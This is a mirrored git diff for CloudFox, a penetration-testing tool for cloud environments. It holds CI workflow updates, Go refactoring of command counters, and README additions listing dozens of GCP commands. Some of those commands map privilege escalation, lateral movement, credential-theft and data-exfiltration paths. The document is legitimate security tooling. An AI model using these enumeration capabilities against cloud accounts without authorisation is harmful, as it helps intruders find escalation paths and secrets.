mirror of
https://github.com/BishopFox/cloudfox.git
synced 2026-11-07 09:56:01 -10:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
f65be085cd | ||
|
|
16320591ea | ||
|
|
5267f430b0 | ||
|
|
4a63b18fd3 | ||
|
|
0642b82438 | ||
|
|
e688d79ed2 | ||
|
|
2f0cfd7b1f | ||
|
|
e3a1803cce | ||
|
|
6257da9391 | ||
|
|
d44899f213 | ||
|
|
29ab782b31 | ||
|
|
ba4ff4701a | ||
|
|
81be56e006 | ||
|
|
494443d7ce | ||
|
|
3d3cfc6c0c | ||
|
|
1b0925877d | ||
|
|
7727d1d08c | ||
|
|
c7f81dc5cc | ||
|
|
008fb84d23 | ||
|
|
142757b5c2 | ||
|
|
146034d619 | ||
|
|
9e056b29d7 | ||
|
|
871491738b | ||
|
|
033c953d57 | ||
|
|
a7e45b9ae5 | ||
|
|
ce513ba04d | ||
|
|
83f9af249d | ||
|
|
11652a9a6e | ||
|
|
6ac7a0bf6b | ||
|
|
c6fcdba665 | ||
|
|
4f2c2cb4c9 | ||
|
|
db8a6895c3 | ||
|
|
11763f04f6 | ||
|
|
0ba9e2d37f | ||
|
|
a3d1c09558 | ||
|
|
a3b7ab4269 | ||
|
|
60c6b8d61c | ||
|
|
8db014b136 | ||
|
|
72cd367086 | ||
|
|
f2d4b7c535 | ||
|
|
47d69d870f | ||
|
|
c9d1c2de68 | ||
|
|
a8e802404f | ||
|
|
d021ea54de | ||
|
|
7a18090609 | ||
|
|
cb8be678e7 | ||
|
|
6f45cbe900 | ||
|
|
8a248e3127 | ||
|
|
de141300e9 | ||
|
|
eb76d76dea | ||
|
|
72a551b38b | ||
|
|
59bac4ee36 | ||
|
|
44bf8e8915 | ||
|
|
70107c607f | ||
|
|
d24f817bf9 | ||
|
|
711e29e3bb | ||
|
|
04bb167273 | ||
|
|
ed732d0c01 | ||
|
|
f82547b438 | ||
|
|
35fca31475 | ||
|
|
888649616f | ||
|
|
2b272a1335 | ||
|
|
c94996e470 | ||
|
|
2f80731e5b | ||
|
|
d473e31c06 | ||
|
|
baf62fdbb2 | ||
|
|
f3f98f24e3 | ||
|
|
eedf397c93 | ||
|
|
31e2fe5fcb | ||
|
|
06a9dabf48 | ||
|
|
ce545ca9ff | ||
|
|
8954fc2a72 | ||
|
|
7bb7d947ef | ||
|
|
3c1213b0ff | ||
|
|
fbc862aef1 | ||
|
|
8dddcc83d2 | ||
|
|
36b45a64c5 | ||
|
|
333ca05a11 | ||
|
|
4a2444c05f | ||
|
|
c9edf8450b | ||
|
|
ec9a50ead1 | ||
|
|
eae16c32b4 | ||
|
|
0df2aa9240 | ||
|
|
abf1543b3e | ||
|
|
69c9070009 | ||
|
|
8f6208d983 | ||
|
|
83d9611732 |
No files matched your search
@@ -15,10 +15,10 @@ jobs:
|
||||
|
||||
steps:
|
||||
|
||||
- name: Go 1.21
|
||||
uses: actions/setup-go@v4
|
||||
- name: Go 1.25
|
||||
uses: actions/setup-go@v5
|
||||
with:
|
||||
go-version: ^1.20
|
||||
go-version: ^1.25
|
||||
id: go
|
||||
|
||||
- id: install-secret-key
|
||||
@@ -28,7 +28,7 @@ jobs:
|
||||
gpg --list-secret-keys --keyid-format LONG
|
||||
|
||||
- name: Check Out Code
|
||||
uses: actions/checkout@v4
|
||||
uses: actions/checkout@v6
|
||||
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
@@ -39,9 +39,6 @@ jobs:
|
||||
|
||||
|
||||
- name: Release binaries
|
||||
uses: "marvinpinto/action-automatic-releases@latest"
|
||||
uses: softprops/action-gh-release@v2
|
||||
with:
|
||||
repo_token: "${{ secrets.GITHUB_TOKEN }}"
|
||||
prerelease: false
|
||||
files: |
|
||||
./cloudfox/*
|
||||
files: ./cloudfox/*
|
||||
@@ -11,6 +11,6 @@ jobs:
|
||||
codespell:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v6
|
||||
- run: pip install --user codespell
|
||||
- run: codespell --ignore-words-list="aks" --skip="*.sum"
|
||||
- run: codespell --ignore-words-list="aks,referers,invokable" --skip="*.sum"
|
||||
+4
-1
@@ -62,8 +62,11 @@ terraform.rc
|
||||
.DS_Store
|
||||
|
||||
untracked/*
|
||||
*tmp*
|
||||
tmp/*
|
||||
output/*
|
||||
*cloudfox-output*
|
||||
cloudfox-*
|
||||
cloudfox
|
||||
*.log
|
||||
*.bak
|
||||
@@ -75,4 +78,4 @@ dist/
|
||||
|
||||
# graphvis files
|
||||
*.gv
|
||||
*.svg
|
||||
*.svg
|
||||
@@ -1,6 +1,10 @@
|
||||
# :fox_face: CloudFox :fox_face:
|
||||
CloudFox helps you gain situational awareness in unfamiliar cloud environments. It’s an open source command line tool created to help penetration testers and other offensive security professionals find exploitable attack paths in cloud infrastructure.
|
||||
|
||||
> **CLOUDFOX UPDATE REQUIRED: (12/2025):** If you are using `cloudfox`, you need to use v1.17.0 or greater. All earlier versions [stopped working after a format change in AWS's public service mapping file](https://github.com/BishopFox/cloudfox/pull/109).
|
||||
|
||||
**Overview**
|
||||
|
||||
#### CloudFox helps you answer the following common questions (and many more):
|
||||
|
||||
* What regions is this AWS account using and roughly how many resources are in the account?
|
||||
@@ -48,9 +52,9 @@ For the full documentation please refer to our [wiki](https://github.com/BishopF
|
||||
|
||||
| Provider| CloudFox Commands |
|
||||
| - | - |
|
||||
| AWS | 34 |
|
||||
| Azure | 4 |
|
||||
| GCP | 8 |
|
||||
| AWS | 34 |
|
||||
| Azure | 4 |
|
||||
| GCP | 60 |
|
||||
| Kubernetes | Support Planned |
|
||||
|
||||
|
||||
@@ -102,7 +106,53 @@ Additional policy notes (as of 09/2022):
|
||||
| `arn:aws:iam::aws:policy/AdministratorAccess` | This will work just fine with CloudFox, but if you were handed this level of access as a penetration tester, that should probably be a finding in itself :) |
|
||||
|
||||
### Azure
|
||||
* Viewer or similar permissions applied.
|
||||
* Viewer or similar permissions applied.
|
||||
|
||||
### GCP
|
||||
* Google Cloud SDK installed and authenticated
|
||||
* Application Default Credentials configured (`gcloud auth application-default login`)
|
||||
* Recommended permissions at appropriate hierarchy levels (see below)
|
||||
|
||||
#### GCP Permissions: Minimal vs Comprehensive
|
||||
|
||||
**Minimal Permissions (Single Project):**
|
||||
|
||||
For basic enumeration of a single project, the `roles/viewer` role provides read access to most resources (includes logging, monitoring, and compute/network viewing).
|
||||
|
||||
**Comprehensive Permissions (Organization-Wide):**
|
||||
|
||||
For thorough security assessments across an entire organization:
|
||||
|
||||
| Scope | Role | Purpose |
|
||||
| - | - | - |
|
||||
| **Organization** | `roles/resourcemanager.organizationViewer` | View organization structure and metadata |
|
||||
| **Organization** | `roles/iam.securityReviewer` | Review IAM policies across the organization |
|
||||
| **Organization** | `roles/cloudasset.viewer` | Query Cloud Asset Inventory for all resources |
|
||||
| **Organization** | `roles/cloudidentity.groupsViewer` | Enumerate Google Groups and memberships |
|
||||
| **Folder** | `roles/resourcemanager.folderViewer` | View folder hierarchy and metadata |
|
||||
| **Project** | `roles/viewer` | Read access to most project resources (includes logging.viewer, monitoring.viewer, compute.viewer) |
|
||||
| **Tooling Project** | `roles/serviceusage.serviceUsageAdmin` | (Optional) Manage API quotas for CloudFox operations |
|
||||
|
||||
> **Note:** The basic `roles/viewer` role includes permissions from `roles/logging.viewer`, `roles/monitoring.viewer`, and `roles/compute.networkViewer`, so these don't need to be granted separately.
|
||||
|
||||
#### GCP API Requirements
|
||||
|
||||
**APIs must be enabled in each project you want to assess.** GCP APIs are project-scoped.
|
||||
|
||||
| API | Service Name | Purpose |
|
||||
| - | - | - |
|
||||
| Cloud Identity API | `cloudidentity.googleapis.com` | Group enumeration, inherited role analysis |
|
||||
| Cloud Asset API | `cloudasset.googleapis.com` | Cross-project resource discovery |
|
||||
| Cloud Resource Manager API | `cloudresourcemanager.googleapis.com` | Organization mapping, IAM enumeration |
|
||||
| IAM API | `iam.googleapis.com` | IAM analysis, privilege escalation detection |
|
||||
| Compute Engine API | `compute.googleapis.com` | Instance enumeration, network security |
|
||||
| Secret Manager API | `secretmanager.googleapis.com` | Secrets enumeration |
|
||||
| Cloud Functions API | `cloudfunctions.googleapis.com` | Serverless enumeration |
|
||||
| Cloud Run API | `run.googleapis.com` | Serverless enumeration |
|
||||
| Kubernetes Engine API | `container.googleapis.com` | Container security analysis |
|
||||
| BigQuery API | `bigquery.googleapis.com` | Data security analysis |
|
||||
|
||||
For detailed setup instructions, see the [GCP Setup Guide](https://github.com/BishopFox/cloudfox/wiki/GCP-Setup-Guide).
|
||||
|
||||
# AWS Commands
|
||||
| Provider | Command Name | Description
|
||||
@@ -155,22 +205,82 @@ Additional policy notes (as of 09/2022):
|
||||
|
||||
|
||||
# GCP Commands
|
||||
| Provider | Command Name | Description
|
||||
|
||||
For detailed documentation on each GCP command, see the [GCP Commands Wiki](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands).
|
||||
|
||||
| Provider | Command Name | Description
|
||||
| - | - | - |
|
||||
| GCP | [whoami](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#whoami) | Display the email address of the GCP authenticated user |
|
||||
| GCP | [all-checks](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#all-checks) | Runs all available GCP commands |
|
||||
| GCP | [artifact-registry](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#artifact-registry) | Display GCP artifact registry information |
|
||||
| GCP | [bigquery](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#bigquery) | Display Bigquery datasets and tables information |
|
||||
| GCP | [buckets](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#buckets) | Display GCP buckets information |
|
||||
| GCP | [iam](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#iam) | Display GCP IAM information |
|
||||
| GCP | [instances](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#instances) | Display GCP Compute Engine instances information |
|
||||
| GCP | [secrets](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#secrets) | Display GCP secrets information |
|
||||
| GCP | [whoami](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#whoami) | Display identity context for the authenticated GCP user/service account |
|
||||
| GCP | [iam](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#iam) | Enumerate GCP IAM principals across organizations, folders, and projects |
|
||||
| GCP | [permissions](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#permissions) | Enumerate ALL permissions for each IAM entity with full inheritance explosion |
|
||||
| GCP | [serviceaccounts](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#serviceaccounts) | Enumerate GCP service accounts with security analysis |
|
||||
| GCP | [service-agents](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#service-agents) | Enumerate Google-managed service agents |
|
||||
| GCP | [keys](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#keys) | Enumerate all GCP keys (SA keys, HMAC keys, API keys) |
|
||||
| GCP | [resource-iam](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#resource-iam) | Enumerate IAM policies on GCP resources (buckets, datasets, secrets, etc.) |
|
||||
| GCP | [domain-wide-delegation](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#domain-wide-delegation) | Find service accounts with Domain-Wide Delegation to Google Workspace |
|
||||
| GCP | [privesc](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#privesc) | Identify privilege escalation paths in GCP projects |
|
||||
| GCP | [hidden-admins](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#hidden-admins) | Identify principals who can modify IAM policies (hidden admins) |
|
||||
| GCP | [identity-federation](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#identity-federation) | Enumerate Workload Identity Federation (external identities) |
|
||||
| GCP | [instances](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#instances) | Enumerate GCP Compute Engine instances with security configuration |
|
||||
| GCP | [gke](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#gke) | Enumerate GKE clusters with security analysis |
|
||||
| GCP | [cloudrun](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#cloudrun) | Enumerate Cloud Run services and jobs with security analysis |
|
||||
| GCP | [functions](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#functions) | Enumerate GCP Cloud Functions with security analysis |
|
||||
| GCP | [app-engine](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#app-engine) | Enumerate App Engine applications and security configurations |
|
||||
| GCP | [composer](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#composer) | Enumerate Cloud Composer environments |
|
||||
| GCP | [dataproc](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#dataproc) | Enumerate Dataproc clusters |
|
||||
| GCP | [dataflow](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#dataflow) | Enumerate Dataflow jobs and pipelines |
|
||||
| GCP | [notebooks](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#notebooks) | Enumerate Vertex AI Workbench notebooks |
|
||||
| GCP | [workload-identity](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#workload-identity) | Enumerate GKE Workload Identity and Workload Identity Federation |
|
||||
| GCP | [inventory](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#inventory) | Quick resource inventory - works without Cloud Asset API |
|
||||
| GCP | [storage](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#storage) | Enumerate GCP Cloud Storage buckets with security configuration |
|
||||
| GCP | [storage-enum](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#storage-enum) | Enumerate GCS buckets for sensitive files (credentials, secrets, configs) |
|
||||
| GCP | [bigquery](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#bigquery) | Enumerate GCP BigQuery datasets and tables with security analysis |
|
||||
| GCP | [cloudsql](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#cloudsql) | Enumerate Cloud SQL instances with security analysis |
|
||||
| GCP | [spanner](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#spanner) | Enumerate Cloud Spanner instances and databases |
|
||||
| GCP | [bigtable](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#bigtable) | Enumerate Cloud Bigtable instances and tables |
|
||||
| GCP | [filestore](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#filestore) | Enumerate Filestore NFS instances |
|
||||
| GCP | [memorystore](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#memorystore) | Enumerate Memorystore (Redis) instances |
|
||||
| GCP | [vpc-networks](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#vpc-networks) | Enumerate VPC Networks |
|
||||
| GCP | [firewall](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#firewall) | Enumerate VPC networks and firewall rules with security analysis |
|
||||
| GCP | [loadbalancers](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#loadbalancers) | Enumerate Load Balancers |
|
||||
| GCP | [dns](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#dns) | Enumerate Cloud DNS zones and records with security analysis |
|
||||
| GCP | [endpoints](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#endpoints) | Enumerate all network endpoints (external and internal) with IPs, ports, and hostnames |
|
||||
| GCP | [private-service-connect](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#private-service-connect) | Enumerate Private Service Connect endpoints and service attachments |
|
||||
| GCP | [network-topology](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#network-topology) | Visualize VPC network topology, peering relationships, and trust boundaries |
|
||||
| GCP | [vpc-sc](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#vpc-sc) | Enumerate VPC Service Controls |
|
||||
| GCP | [access-levels](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#access-levels) | Enumerate Access Context Manager access levels |
|
||||
| GCP | [cloud-armor](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#cloud-armor) | Enumerate Cloud Armor security policies and find weaknesses |
|
||||
| GCP | [iap](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#iap) | Enumerate Identity-Aware Proxy configurations |
|
||||
| GCP | [beyondcorp](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#beyondcorp) | Enumerate BeyondCorp Enterprise configurations |
|
||||
| GCP | [kms](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#kms) | Enumerate Cloud KMS key rings and crypto keys with security analysis |
|
||||
| GCP | [secrets](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#secrets) | Enumerate GCP Secret Manager secrets with security configuration |
|
||||
| GCP | [cert-manager](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#cert-manager) | Enumerate SSL/TLS certificates and find expiring or misconfigured certs |
|
||||
| GCP | [org-policies](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#org-policies) | Enumerate organization policies and identify security weaknesses |
|
||||
| GCP | [artifact-registry](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#artifact-registry) | Enumerate GCP Artifact Registry and Container Registry with security configuration |
|
||||
| GCP | [cloudbuild](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#cloudbuild) | Enumerate Cloud Build triggers and builds |
|
||||
| GCP | [source-repos](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#source-repos) | Enumerate Cloud Source Repositories |
|
||||
| GCP | [scheduler](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#scheduler) | Enumerate Cloud Scheduler jobs with security analysis |
|
||||
| GCP | [pubsub](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#pubsub) | Enumerate Pub/Sub topics and subscriptions with security analysis |
|
||||
| GCP | [logging](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#logging) | Enumerate Cloud Logging sinks and metrics with security analysis |
|
||||
| GCP | [organizations](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#organizations) | Enumerate GCP organization hierarchy |
|
||||
| GCP | [asset-inventory](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#asset-inventory) | Enumerate Cloud Asset Inventory with optional dependency analysis |
|
||||
| GCP | [backup-inventory](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#backup-inventory) | Enumerate backup policies, protected resources, and identify backup gaps |
|
||||
| GCP | [lateral-movement](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#lateral-movement) | Map lateral movement paths, credential theft vectors, and pivot opportunities |
|
||||
| GCP | [data-exfiltration](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#data-exfiltration) | Identify data exfiltration paths, potential vectors, and missing security hardening |
|
||||
| GCP | [public-access](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#public-access) | Find resources with allUsers/allAuthenticatedUsers access across 16 GCP services |
|
||||
| GCP | [cross-project](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#cross-project) | Analyze cross-project IAM bindings, logging sinks, and Pub/Sub exports for lateral movement |
|
||||
| GCP | [foxmapper](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#foxmapper) | Run FoxMapper (graph-based IAM analysis) for privilege escalation path discovery |
|
||||
| GCP | [logging-enum](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#logging-enum) | Scan Cloud Logging entries for sensitive data (credentials, tokens, PII) |
|
||||
| GCP | [bigquery-enum](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#bigquery-enum) | Scan BigQuery datasets, tables, and columns for sensitive data indicators |
|
||||
| GCP | [bigtable-enum](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#bigtable-enum) | Scan Bigtable instances, tables, and column families for sensitive data indicators |
|
||||
| GCP | [spanner-enum](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#spanner-enum) | Scan Spanner database schemas for sensitive table and column names |
|
||||
|
||||
|
||||
|
||||
# Authors
|
||||
* [Carlos Vendramini](https://github.com/carlosvendramini-bf)
|
||||
* [Seth Art (@sethsec](https://twitter.com/sethsec))
|
||||
* Joseph Barcia
|
||||
|
||||
# Contributing
|
||||
[Wiki - How to Contribute](https://github.com/BishopFox/cloudfox/wiki#how-to-contribute)
|
||||
|
||||
+2
-2
@@ -161,7 +161,7 @@ func (m *AccessKeysModule) getAccessKeysForAllUsers() {
|
||||
ListUsers, err := sdk.CachedIamListUsers(m.IAMClient, aws.ToString(m.Caller.Account))
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
|
||||
// added this to break out if there no users
|
||||
@@ -171,7 +171,7 @@ func (m *AccessKeysModule) getAccessKeysForAllUsers() {
|
||||
results, err := sdk.CachedIamListAccessKeys(m.IAMClient, aws.ToString(m.Caller.Account), aws.ToString(user.UserName))
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
break
|
||||
}
|
||||
|
||||
|
||||
+47
-47
@@ -191,19 +191,19 @@ func (m *ApiGwModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
||||
wg.Add(1)
|
||||
go m.getAPIGatewayAPIsPerRegion(r, wg, semaphore, dataReceiver)
|
||||
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
||||
wg.Add(1)
|
||||
go m.getAPIGatewayVIPsPerRegion(r, wg, semaphore, dataReceiver)
|
||||
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
||||
wg.Add(1)
|
||||
go m.getAPIGatewayv2APIsPerRegion(r, wg, semaphore, dataReceiver)
|
||||
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
||||
wg.Add(1)
|
||||
go m.getAPIGatewayv2VIPsPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
@@ -244,7 +244,7 @@ func (m *ApiGwModule) writeLoot(outputDirectory string, verbosity int) string {
|
||||
// err = os.WriteFile(f, []byte(out), 0644)
|
||||
// if err != nil {
|
||||
// m.modLog.Error(err.Error())
|
||||
// m.CommandCounter.Error++
|
||||
// m.CommandCounter.IncrError()
|
||||
// panic(err.Error())
|
||||
// }
|
||||
|
||||
@@ -263,8 +263,8 @@ func (m *ApiGwModule) writeLoot(outputDirectory string, verbosity int) string {
|
||||
|
||||
func (m *ApiGwModule) getAPIGatewayAPIsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan ApiGateway) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
@@ -272,21 +272,21 @@ func (m *ApiGwModule) getAPIGatewayAPIsPerRegion(r string, wg *sync.WaitGroup, s
|
||||
defer func() {
|
||||
<-semaphore
|
||||
}()
|
||||
// m.CommandCounter.Total++
|
||||
m.CommandCounter.Pending--
|
||||
m.CommandCounter.Executing++
|
||||
// m.CommandCounter.IncrTotal()
|
||||
m.CommandCounter.DecrPending()
|
||||
m.CommandCounter.IncrExecuting()
|
||||
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
|
||||
|
||||
Items, err := sdk.CachedApiGatewayGetRestAPIs(m.APIGatewayClient, aws.ToString(m.Caller.Account), r)
|
||||
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
return
|
||||
}
|
||||
|
||||
for _, api := range Items {
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
||||
for _, endpoint := range m.getEndpointsPerAPIGateway(r, api) {
|
||||
dataReceiver <- endpoint
|
||||
}
|
||||
@@ -295,8 +295,8 @@ func (m *ApiGwModule) getAPIGatewayAPIsPerRegion(r string, wg *sync.WaitGroup, s
|
||||
|
||||
func (m *ApiGwModule) getAPIGatewayVIPsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan ApiGateway) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
@@ -304,16 +304,16 @@ func (m *ApiGwModule) getAPIGatewayVIPsPerRegion(r string, wg *sync.WaitGroup, s
|
||||
defer func() {
|
||||
<-semaphore
|
||||
}()
|
||||
// m.CommandCounter.Total++
|
||||
m.CommandCounter.Pending--
|
||||
m.CommandCounter.Executing++
|
||||
// m.CommandCounter.IncrTotal()
|
||||
m.CommandCounter.DecrPending()
|
||||
m.CommandCounter.IncrExecuting()
|
||||
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
|
||||
|
||||
Items, err := sdk.CachedApiGatewayGetRestAPIs(m.APIGatewayClient, aws.ToString(m.Caller.Account), r)
|
||||
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
return
|
||||
}
|
||||
|
||||
@@ -322,7 +322,7 @@ func (m *ApiGwModule) getAPIGatewayVIPsPerRegion(r string, wg *sync.WaitGroup, s
|
||||
if err != nil {
|
||||
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s", r))
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
return
|
||||
}
|
||||
|
||||
@@ -334,7 +334,7 @@ func (m *ApiGwModule) getAPIGatewayVIPsPerRegion(r string, wg *sync.WaitGroup, s
|
||||
if err != nil {
|
||||
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s", r))
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
break
|
||||
}
|
||||
|
||||
@@ -347,7 +347,7 @@ func (m *ApiGwModule) getAPIGatewayVIPsPerRegion(r string, wg *sync.WaitGroup, s
|
||||
|
||||
for _, api := range Items {
|
||||
if api.Id != nil && aws.ToString(api.Id) == aws.ToString(mapping.RestApiId) {
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
||||
|
||||
endpoints := m.getEndpointsPerAPIGateway(r, api)
|
||||
for _, endpoint := range endpoints {
|
||||
@@ -376,8 +376,8 @@ func (m *ApiGwModule) getAPIGatewayVIPsPerRegion(r string, wg *sync.WaitGroup, s
|
||||
|
||||
func (m *ApiGwModule) getEndpointsPerAPIGateway(r string, api apigatewayTypes.RestApi) []ApiGateway {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
}()
|
||||
var gateways []ApiGateway
|
||||
|
||||
@@ -402,7 +402,7 @@ func (m *ApiGwModule) getEndpointsPerAPIGateway(r string, api apigatewayTypes.Re
|
||||
if err != nil {
|
||||
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s", r))
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
return gateways
|
||||
}
|
||||
|
||||
@@ -411,7 +411,7 @@ func (m *ApiGwModule) getEndpointsPerAPIGateway(r string, api apigatewayTypes.Re
|
||||
if err != nil {
|
||||
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s", r))
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
|
||||
for _, stage := range GetStages.Item {
|
||||
@@ -427,7 +427,7 @@ func (m *ApiGwModule) getEndpointsPerAPIGateway(r string, api apigatewayTypes.Re
|
||||
if err != nil {
|
||||
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s", r))
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
}
|
||||
|
||||
@@ -454,8 +454,8 @@ func (m *ApiGwModule) getEndpointsPerAPIGateway(r string, api apigatewayTypes.Re
|
||||
|
||||
func (m *ApiGwModule) getAPIGatewayv2APIsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan ApiGateway) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
@@ -463,20 +463,20 @@ func (m *ApiGwModule) getAPIGatewayv2APIsPerRegion(r string, wg *sync.WaitGroup,
|
||||
defer func() {
|
||||
<-semaphore
|
||||
}()
|
||||
// m.CommandCounter.Total++
|
||||
m.CommandCounter.Pending--
|
||||
m.CommandCounter.Executing++
|
||||
// m.CommandCounter.IncrTotal()
|
||||
m.CommandCounter.DecrPending()
|
||||
m.CommandCounter.IncrExecuting()
|
||||
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
|
||||
|
||||
Items, err := sdk.CachedAPIGatewayv2GetAPIs(m.APIGatewayv2Client, aws.ToString(m.Caller.Account), r)
|
||||
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
return
|
||||
}
|
||||
for _, api := range Items {
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
